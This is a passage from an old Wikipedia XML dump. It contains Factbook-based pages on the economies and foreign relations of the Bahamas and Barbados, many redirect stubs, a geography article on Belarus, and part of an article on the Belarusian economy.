*&quot;Agriculture - products&quot;
**citrus, vegetables; poultry
*&quot;Industries&quot;
**tourism, banking, cement, oil transshipment, salt, rum, aragonite, pharmaceuticals, spiral-welded steel pipe
*&quot;Electricity - production&quot;
**1,716 GWh (2002)
*&quot;Electricity - consumption&quot;
**1,596 GWh (2002)
*&quot;Oil - consumption&quot;
**23,000 bbl/day (2001 est.)
*&quot;Oil - exports&quot;
**transhipments of 29,000 bbl/day (2003)
*&quot;Exports&quot;
**$636 million (2003 est.)
*&quot;Exports - commodities&quot;
**mineral products and salt, animal products, rum, chemicals; fruit and vegetables
*&quot;Exports - partners&quot;
**US 34.7%, Spain 10.5%, Germany 7.7%, France 7.6%, Poland 5.3%, Switzerland 4.8%, Peru 4.2%, Paraguay 4.2% (2003)
*&quot;Imports&quot;
**$1.63 billion (2003)
*&quot;Imports - commodities&quot;
**machinery and transport equipment, manufactures, chemicals, mineral fuels; food and live animals
*&quot;Imports - partners&quot;
**US 20.8%, South Korea 17.4%, Italy 11.4%, France 9.1%, Brazil 7.5%, Japan 5.6%, Venezuela 5.3% (2003)
*&quot;Debt - external&quot;
**$308.5 million (2002)
*&quot;Economic aid - recipient&quot;
**$9.8 million (1995)
*&quot;Currency&quot;
**Bahamian dollar (BSD)
*&quot;Currency code&quot;
**BSD
*&quot;Exchange rates&quot;
**Bahamian dollars per US dollar - 1 (2004), 1 (2003), 1 (2002), 1 (2001), 1 (2000)
*&quot;Fiscal year&quot;
**[[1 July]] - [[30 June]]

==References==
* ''Some of the material in this article comes from the [[CIA World Factbook]] 2005.''

[[Category:Economies by country|Bahamas]]
[[Category:Economy of the Bahamas|*]]

[[zh:巴哈马]]</text>
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    <title>Foreign relations of the Bahamas</title>
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      <text xml:space="preserve">{{Politics of the Bahamas}}
The Bahamas has strong bilateral relationships with the [[United States]] and the [[United Kingdom]], represented by an ambassador in Washington and High Commissioner in London. The Bahamas also associates closely with other nations of the [[Caribbean Community]] (CARICOM). The Bahamas has diplomatic relations with [[Cuba]], although not with resident ambassadors. A repatriation agreement was signed with Cuba in [[1996]], and there are commercial and cultural contacts between the two countries. The Commonwealth of The Bahamas became a member of the [[United Nations]] (UN) in 1973 and the [[Organization of American States]] (OAS) in 1982.

The Bahamas holds membership in a number of international organizations: the UN and some specialized and related agencies, including Food and Agriculture Organization (FAO), International Civil Aviation Organization (ICAO), International Labour Organization (ILO), International Monetary Fund (IMF), International Telecommunication Union (ITU), World Bank, World Meteorological Organization (WMO), and World Health Organization (WHO); OAS and related agencies, including Inter-American Development Bank (IDB), [[Caribbean Development Bank]] (CDB), and Pan-American Health Organization (PAHO); the [[Caribbean Community]] (CARICOM), excluding its Caribbean (CARICOM) Single Market and Economy; the [[International Criminal Police Organization - Interpol]]; Universal Postal Union (UPU); the IMO (International Maritime Organization); and World Intellectual Property Organization (WIPO).

'''Disputes - international:'''  Have not been able to agree on the alignment of a maritime boundary with the United States. &lt;!-- CIA World Factbook --&gt;

'''Illicit drugs:'''
transshipment point for cocaine and marijuana bound for US and Europe; banking industry vulnerable to money laundering

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''
[[Category:Bahamas]]
[[Category:Foreign relations by country|Bahamas, Foreign affairs of]]
The Bahamas has formal relations with other European countries, including Germany</text>
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    <title>Bahrain/People</title>
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        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Government</title>
    <id>3486</id>
    <revision>
      <id>15901818</id>
      <timestamp>2002-08-04T12:14:31Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Bahrain</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Economy</title>
    <id>3487</id>
    <revision>
      <id>15901819</id>
      <timestamp>2002-08-04T12:15:12Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Bahrain</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Transportation</title>
    <id>3488</id>
    <revision>
      <id>15901820</id>
      <timestamp>2002-08-22T12:01:23Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>correct REDIRECT</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Communications</title>
    <id>3489</id>
    <revision>
      <id>15901821</id>
      <timestamp>2002-08-22T11:59:10Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Communications in Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Military</title>
    <id>3490</id>
    <revision>
      <id>15901822</id>
      <timestamp>2002-08-04T12:17:12Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Bahrain</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain/Transnational issues</title>
    <id>3491</id>
    <revision>
      <id>15901823</id>
      <timestamp>2002-08-04T12:17:49Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move from Bahrain/Transnational issues</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Baker Island</title>
    <id>3492</id>
    <revision>
      <id>15901824</id>
      <timestamp>2004-05-12T18:01:06Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <minor />
      <comment>rd --&gt; Baker Island</comment>
      <text xml:space="preserve">#REDIRECT [[Baker Island]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Baker Island</title>
    <id>3493</id>
    <revision>
      <id>15901825</id>
      <timestamp>2002-10-06T12:34:57Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Baker Island]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Baker Island</title>
    <id>3494</id>
    <revision>
      <id>26642397</id>
      <timestamp>2005-10-27T19:45:42Z</timestamp>
      <contributor>
        <username>Joel7687</username>
        <id>311307</id>
      </contributor>
      <comment>added {{CIA}} template and {{factbook}} template</comment>
      <text xml:space="preserve">{{CIA}}

Country Name:
:conventional long form: none 
:conventional short form: [[Baker Island]]

Dependency status:
:unincorporated territory of the US; administered from Washington, DC, by the Fish and Wildlife Service of the US Department of the Interior as part of the National Wildlife Refuge system 

Legal system:
:the laws of the US, where applicable, apply 

Flag description:
:the flag of the US is used

{{factbook}}</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Baker Island</title>
    <id>3496</id>
    <revision>
      <id>15901827</id>
      <timestamp>2002-10-06T12:37:05Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Baker Island]]</text>
    </revision>
  </page>
  <page>
    <title>Baker Island/History</title>
    <id>3500</id>
    <revision>
      <id>15901828</id>
      <timestamp>2002-10-10T08:45:02Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Baker Island]]</comment>
      <text xml:space="preserve">#REDIRECT [[Baker Island]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/History</title>
    <id>3501</id>
    <revision>
      <id>15901829</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Geography</title>
    <id>3502</id>
    <revision>
      <id>15901830</id>
      <timestamp>2002-08-07T16:14:17Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/People</title>
    <id>3503</id>
    <revision>
      <id>15901831</id>
      <timestamp>2002-08-20T15:37:08Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Bangladesh</title>
    <id>3504</id>
    <revision>
      <id>15901832</id>
      <timestamp>2002-08-07T16:18:25Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Economy</title>
    <id>3505</id>
    <revision>
      <id>15901833</id>
      <timestamp>2002-08-07T16:20:47Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Communications</title>
    <id>3506</id>
    <revision>
      <id>15901834</id>
      <timestamp>2002-08-07T16:21:25Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Communications in Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Transportation</title>
    <id>3507</id>
    <revision>
      <id>15901835</id>
      <timestamp>2002-08-07T16:22:22Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Transportation in Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Military</title>
    <id>3508</id>
    <revision>
      <id>15901836</id>
      <timestamp>2002-08-07T16:23:01Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Transnational issues</title>
    <id>3509</id>
    <revision>
      <id>15901837</id>
      <timestamp>2002-08-07T16:24:20Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh/Foreign relations</title>
    <id>3510</id>
    <revision>
      <id>15901838</id>
      <timestamp>2002-08-07T16:23:37Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Bangladesh</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/History</title>
    <id>3511</id>
    <revision>
      <id>15901839</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Barbados]]
</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Geography</title>
    <id>3512</id>
    <revision>
      <id>15901840</id>
      <timestamp>2002-08-07T16:25:28Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/People</title>
    <id>3513</id>
    <revision>
      <id>15901841</id>
      <timestamp>2002-08-20T15:37:05Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Barbados</title>
    <id>3514</id>
    <revision>
      <id>15901842</id>
      <timestamp>2002-08-07T16:26:40Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Economy</title>
    <id>3515</id>
    <revision>
      <id>15901843</id>
      <timestamp>2002-08-07T16:28:36Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Communications</title>
    <id>3516</id>
    <revision>
      <id>15901844</id>
      <timestamp>2002-08-07T16:29:44Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Communications in Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Transportation</title>
    <id>3517</id>
    <revision>
      <id>36641491</id>
      <timestamp>2006-01-25T13:58:56Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Transport in Barbados&quot; +&quot;Transportation in Barbados&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Military</title>
    <id>3518</id>
    <revision>
      <id>15901846</id>
      <timestamp>2002-08-07T16:31:18Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados/Transnational issues</title>
    <id>3519</id>
    <revision>
      <id>15901847</id>
      <timestamp>2002-08-07T16:32:11Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Barbados</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Barbados]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Barbados</title>
    <id>3520</id>
    <revision>
      <id>35300776</id>
      <timestamp>2006-01-15T19:30:58Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>+template</comment>
      <text xml:space="preserve">{{Politics of Barbados}}
As a small nation, the primary thrust of [[Barbados]]' diplomatic activity has been within international organizations. The island is a member of the [[Commonwealth of Nations|Commonwealth]] and participates in its activities. Barbados was admitted to the [[United Nations]] in December [[1966]]. Barbados joined the [[Organization of American States]] (OAS) in 1967.

On [[July 4]], [[1973]], Barbados, [[Trinidad and Tobago]], [[Guyana]], and [[Jamaica]] signed a treaty in Trinidad to found the [[Caribbean_Community|Caribbean Community (CARICOM)]]. In May 1974, most of the remaining English-speaking Caribbean states joined CARICOM, which now has 14 members. Barbados also is a member of the Caribbean Development Bank, established in 1970, with headquarters in Bridgetown. The eastern Caribbean's Regional Security System, which associates Barbados with six other island nations, also is headquartered in Barbados. In July 1994, Barbados joined the newly established Association of Caribbean States (ACS).

As a member of CARICOM, Barbados supported efforts by the [[United States]] to implement UN Security Council Resolution 940, designed to facilitate the departure of [[Haiti]]'s de facto authorities from power. The country agreed to contribute personnel to the multinational force, which restored the democratically elected government of Haiti in October 1994.

In May 1997, Prime Minister Owen Arthur hosted President Clinton and 14 other Caribbean leaders during the first-ever U.S.-regional summit in Bridgetown, Barbados. The summit strengthened the basis for regional cooperation on justice and counternarcotics issues, finance and development, and trade.

Barbados has diplomatic missions headed by resident ambassadors or high commissioners in Canada, the U.K., the U.S., and Venezuela, and at the [[European Union]] (Brussels) and the UN. It also has resident consuls general in [[Toronto]], [[Miami]], and [[New York City]]. [[Australia]], [[Brazil]], [[Cuba]], [[Canada]], [[Colombia]], [[People's Republic of China]], [[Guatemala]], the [[United Kingdom]], the [[United States]], and [[Venezuela]] have ambassadors or high commissioners resident in Barbados.

'''Disputes - international:'''
none

'''Illicit drugs:'''
one of many Caribbean transshipment points for narcotics bound for the US and Europe

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

''See also:'' [[Barbados]]


[[Category:Foreign relations by country|Barbados]]
[[Category:Foreign relations of Barbados|*]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Bassas da India</title>
    <id>3522</id>
    <revision>
      <id>39884379</id>
      <timestamp>2006-02-16T15:30:30Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Bassas da India</title>
    <id>3524</id>
    <revision>
      <id>39884373</id>
      <timestamp>2006-02-16T15:30:25Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Bassas da India</title>
    <id>3527</id>
    <revision>
      <id>39884395</id>
      <timestamp>2006-02-16T15:30:40Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Bassas da India</title>
    <id>3529</id>
    <revision>
      <id>39884605</id>
      <timestamp>2006-02-16T15:32:41Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Belarus/History</title>
    <id>3530</id>
    <revision>
      <id>15901853</id>
      <timestamp>2002-03-04T12:51:25Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Belarus]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Belarus</title>
    <id>3531</id>
    <revision>
      <id>41875222</id>
      <timestamp>2006-03-02T07:50:51Z</timestamp>
      <contributor>
        <ip>81.16.77.9</ip>
      </contributor>
      <comment>/* Environmental concerns */</comment>
      <text xml:space="preserve">[[Image:Bo-map.png|right|]]
[[Image:Belarus_1997_CIA_map.jpg|thumb|right|300px|Detailed map of Belarus]]
[[Image:Satellite image of Belarus in December 2002.jpg|thumb|right|300px|Satellite image of Belarus in December 2002.]]
'''[[Belarus]]''', a generally flat country (the average elevation is 162 meters above sea level) without natural borders, occupies an area of 207,600 square kilometers, or slightly smaller than the [[United Kingdom]] or the state of [[Kansas]]. Its neighbors are [[Russia]] to the east and northeast, [[Latvia]] to the north, [[Lithuania]] to the northwest, [[Poland]] to the west, and [[Ukraine]] to the south.

; Geographic coordinates:
: {{coor d|53|N|28|E|}}

==Topography and Drainage==
Belarus's mostly level terrain is broken up by the Belarusian Range (Byelaruskaya Hrada), a swath of elevated territory, composed of individual highlands, that runs diagonally through the country from west-southwest to east-northeast. Its highest point is the 346-meter Mount Dzyarzhynskaya (Dzerzhinskaya, in Russian), named for Feliks Dzerzhinskiy, head of Russia's security apparatus under Stalin. Northern Belarus has a picturesque, hilly landscape with many lakes and gently sloping ridges created by glacial debris. In the south, about one-third of the republic's territory around the Prypyats' (Pripyat', in Russian) River is taken up by the low-lying swampy plain of the Belarusian Woodland, or Palyessye (Poles'ye in Russian).

Belarus's 3,000 streams and 4,000 lakes are major features of the landscape and are used for floating timber, shipping, and power generation. Major rivers are the west-flowing Zakhodnyaya Dzvina (Zapadnaya Dvina in Russian) and Nyoman (Neman in Russian) rivers, and the south-flowing Dnyapro (Dnepr in Russian) with its tributaries, Byarezina (Berezina in Russian), Sozh, and Prypyats' rivers. The Prypyats' River has served as a bridge between the Dnyapro flowing to Ukraine and the Vistula in Poland since the period of Kievan Rus'. Lake Narach (Naroch', in Russian), the country's largest lake, covers eighty square kilometers.

Nearly one-third of the country is covered with pushchy (sing., pushcha), large unpopulated tracts of forests. In the north, conifers predominate in forests that also include birch and alder; farther south, other deciduous trees grow. The Belavezhskaya (Belovezhskaya, in Russian) Pushcha in the far west is the oldest and most magnificent of the forests; a reservation here shelters animals and birds that became extinct elsewhere long ago. The reservation spills across the border into Poland; both countries jointly administer it.

==Climate==
Because of the proximity of the [[Baltic Sea]] (257 meters at the closest point), the country's climate is temperate continental. Winters last between 105 and 145 days, and summers last up to 150 days. The average temperature in January is -6°C, and the average temperature for July is about 18°C, with high humidity. Average annual precipitation ranges from 550 to 700 millimeters and is sometimes excessive.

==Environmental concerns==
The most notorious legacy of pollution from the communist era is the April 26, 1986, accident at the Chernobyl' nuclear power plant in Ukraine. Some 70 % of the radiation spewed was carried by the wind to Belarus, where it affected at least 25 % of the country--especially the Homyel' (Gomel' in Russian) and Mahilyow (Mogilëv in Russian) voblastsi (sing., voblasts'), or counties, in the south and southeast, and 22 % of the population. Although more than 2 million people (including 600,000 children) lived in areas affected by fallout from the disaster, the Soviet government tried to cover up the accident until Swedish scientists pressed for an explanation of the unusually high levels of atmospheric radiation in Sweden.

The Belorussian government's request to the Soviet government for a minimum of 17 billion rubles to deal with the consequences was answered with Moscow's offer of only 3 billion rubles. According to one official in 1993, the per capita expenditure on the accident was one kopek in Russia, three kopeks in Ukraine, and one ruble (100 kopeks) in Belarus.

Despite the government's establishment of the State Committee for Chernobyl', the enactment of laws limiting who may stay in contaminated areas, and the institution of a national program for research on the effects, little progress was made in coping with the consequences of the disaster, owing to the lack of money and the government's sluggish attitude. In 1994 a resettlement program for 170,000 residents was woefully underbudgeted and far behind schedule. To assist victims of Chernobyl', a Western organization, the Know-How Fund, provided many Belarusian doctors with training in the latest bone-marrow techniques in Europe and the United States.

The long-range effects of the disaster include an increasing incidence of various kinds of cancer and birth defects; congenital defects in newborns are reported to be 40 % higher than before the accident. Tainted water, livestock, farm produce, and land are widespread, and the extensive wetlands retain high concentrations of radiation. Cleanup of the disaster accounted for 14 % of the state budget in 1995. Other environmental problems include widespread chemical pollution of the soil, which shows excessive pesticide levels, and the industrial pollution found in nearly all the large cities.

; Natural hazards:
: NA
; Environment - current issues:
:* Soil pollution from pesticide use. 
:* South-Eastern part of the country contaminated with fallout from [[1986]] nuclear reactor accident at [[Chernobyl]], [[Ukraine]], receiving about 60% of total fallout. Vast amounts of territory in [[Homyel voblast|Homyel]] and [[Mahilyow voblast|Mahilyow]] [[voblast]]s rendered uninhabitable. Roughly 7,000 km² (2,700 mi²) of soil were contaminated by [[Caesium|caesium-137]] to levels greater than 15 [[curie]]s (550 [[becquerel|gigabecquerels]]) per square kilometer, i.e., taken from human usage for indefinite time.  In 1996 the areas contaminated with over 1 Ci/km² (37 GBq/km²) of cesium-137 constituted about 21% of the total territory (only 1% decrease compared to 1986), and in 2002 over 1.5 mln people still lived in this area. 
; Environment - international agreements:
:* Party to [[treaty|treaties]]: Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Biodiversity, Climate Change, Endangered Species, Environmental Modification, Hazardous Wastes, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Wetlands
: Signed, but not ratified: Law of the Sea

==Area and boundaries==
; Area:
:* Total: 207,600 [[Square kilometre|km²]]
:* Land: 207,600 km²
:* Water: 
; Area comparative:
:* [[Australia]] comparative: slightly smaller than [[Victoria (Australia)|Victoria]]
:* [[Canada]] comparative: half the size of [[Newfoundland and Labrador]]
:* [[Europe]] comparative: 13th place, slightly smaller than the [[United Kingdom]] and [[Romania]]
:* [[United States]] comparative: slightly smaller than [[Kansas]]
; Land boundaries:
:* Total: 3,098 km
:* Border countries: [[Latvia]] 141 km, [[Lithuania]] 502 km, [[Poland]] 605 km, [[Russia]] 959 km, [[Ukraine]] 891 km
; Coastline:
: 0 km (landlocked)
; Maritime claims:
: None (landlocked)
; Elevation extremes:
:* Lowest point: Nyoman River 90 [[metre|m]]
:* Highest point: [[Dzyarzhynskaya Hara]] 345 m

==Resources and land use==
; Natural resources:
: Forests, peat deposits, small quantities of oil and natural gas, granite, dolomitic limestone, marl, chalk, sand, gravel, clay
; Land use:
:* Arable land: 29%
:* Permanent crops: 1%
:* Permanent pastures: 15%
:* Forests and woodland: 34%
:* Other: 21% (1993 est.)
; Irrigated land:
: 1,150 km² (1998 est.)
; Water resources:
: About 20,000 rivers and streams, with the total length of 91,000 km, and about 11,000 lakes, including 470 lakes with the area exceeding 0.5 km² each. [[Naroch]] is the largest lake (79.2 km², the deepest point about 25 m). Significant amounts of swampy area, notably in the [[Polesia]] region.

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''Much of the material in this article is adapted from the [[CIA World Factbook]] 2000 and 2003.''

== External links ==
*[http://www.chernobyl.info/files/doc/TabE_Minsk.pdf Chernobyl data for Belarus]

[[Category:Geography by country|Belarus]]
[[Category:Geography of Belarus]]

[[pt:Geografia da Bielorrússia]]
[[ru:Географические данные Белоруссии]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Belarus</title>
    <id>3533</id>
    <revision>
      <id>15901855</id>
      <timestamp>2002-08-07T16:33:57Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Belarus</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Belarus]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Belarus</title>
    <id>3534</id>
    <revision>
      <id>40554698</id>
      <timestamp>2006-02-21T11:22:02Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{Economy of Belarus table}}
==Overview==
After collapse of the Soviet Union all former Soviet respublics were faced deep economic crisis. Belarus has however chosen its own way of overcoming this crisis. After [[1994]] election of [[Alexander Lukashenko]] as the first President, he launched the country on the path of &quot;market [[socialism]]&quot; as opposed to &quot;wild capitalism&quot; chosen by Russia at that time. In keeping with this policy, administrative controls over prices and currency exchange rates was introduced. Also the state's right to intervene in the management of private enterprise was expanded. 

In addition to the burdens imposed by high [[inflation]], businesses have been subject to pressure on the part of central and local governments, e.g., arbitrary changes in regulations, numerous rigorous inspections, and retroactive application of new business regulations prohibiting practices that had been legal. Further economic problems are two consecutive bad harvests, [[1998]]-[[1999]] and trade deficits. Also as Belorussian economy has rather tight connections with Russian economy, the default of 1998 strike hard both of them. In 1990-th povetry became significant problem. Recearch carried out   in Belarus in 1996 under the support of the World Bank showed that number of the poor has sharply increased from 5 % in 1992 to 22% in 1995. According to the official statistics, 26,7% of urban population and 33,6% of rural population were below the poverty line in 2001 ([http://www.belarusembassy.org/humanitarian/poverty_assessment.htm], [http://un.by/en/undp/news/belarus/pr18-02-3-1.html], [http://wbln0018.worldbank.org/dg/povertys.nsf/0/dae4d2c00c1c7e1585256b210075cf4d?OpenDocument]).

However efforts of Belorussian government and some favourable factors such as Union with Russia, wich  opened wast markets for belorussian goods and also allowed Belarus to buy oil and gas at Russia's internal price allowed Belarus to bypass severe economic hardships and criseses that many former Soviet Union transition economies encountered. It resulted in economic growth seen in recent years. According to the UN ''World Economic Situation and Prospects 2006'' report Belarus registers major economic growth: GDP growth rate as low as 3% in 1999 showed 11% (2-nd place in CIS) in 2004 and 8,5% (4-th place after Azerbaijan and Kazakhstan - oil and gas exporters - and Armenia) in 2005. In terms of GDP growth rate Belarus also outperforms neighbouring Polland, Latvia and Lithuania. Major problem in mid-1990 - inflation, as high as 300% in 1999 constantly decreases, showing 11% in 2005 (which is higher than Russia's 11.5% but lower than Ukraine's 14.5%). UN experts forecast inflation in 2006 will continue to decrease, reaching 10.5% ([http://www.un.org/esa/policy/wess/wesp2006files/wesp2006.pdf UN Report])

==In greater depth==
As part of the former [[Soviet Union]], Belarus had a relatively well-developed industrial base; it retained this industrial base following the break-up of the U.S.S.R. The country also has a broad agricultural base and a high education level. Among the former republics of the Soviet Union, it had one of the highest standards of living. But Belarusians now face the difficult challenge of moving from a state-run economy with high priority on military production and heavy industry to a civilian, free-market system.

After an initial outburst of [[capitalist]] reform from [[1991]]-[[1994]], including [[privatization]] of state enterprises, creation of institutions of private property, and entrepreneurship, Belarus under Lukashenko has greatly slowed its pace of privatization and other market reforms, emphasizing the need for a &quot;socially oriented market economy.&quot; About 80% of all industry remains in state hands, and foreign investment has been hindered by a climate hostile to business. The banks, which had been privatized after independence, were renationalized under Lukashenko.

Economic output, which declined for several years, revived somewhat in the late [[1990s]], but the economy remains dependent on Russian subsidies. Until [[2000]], subsidies to state enterprises and price controls on industrial and consumer staples constituted a major feature of the Belarusian economy. Inflationary monetary practices, including the printing of [[money]] also has been regularly used to finance real sector growth and to cover the payment of salaries and pensions.

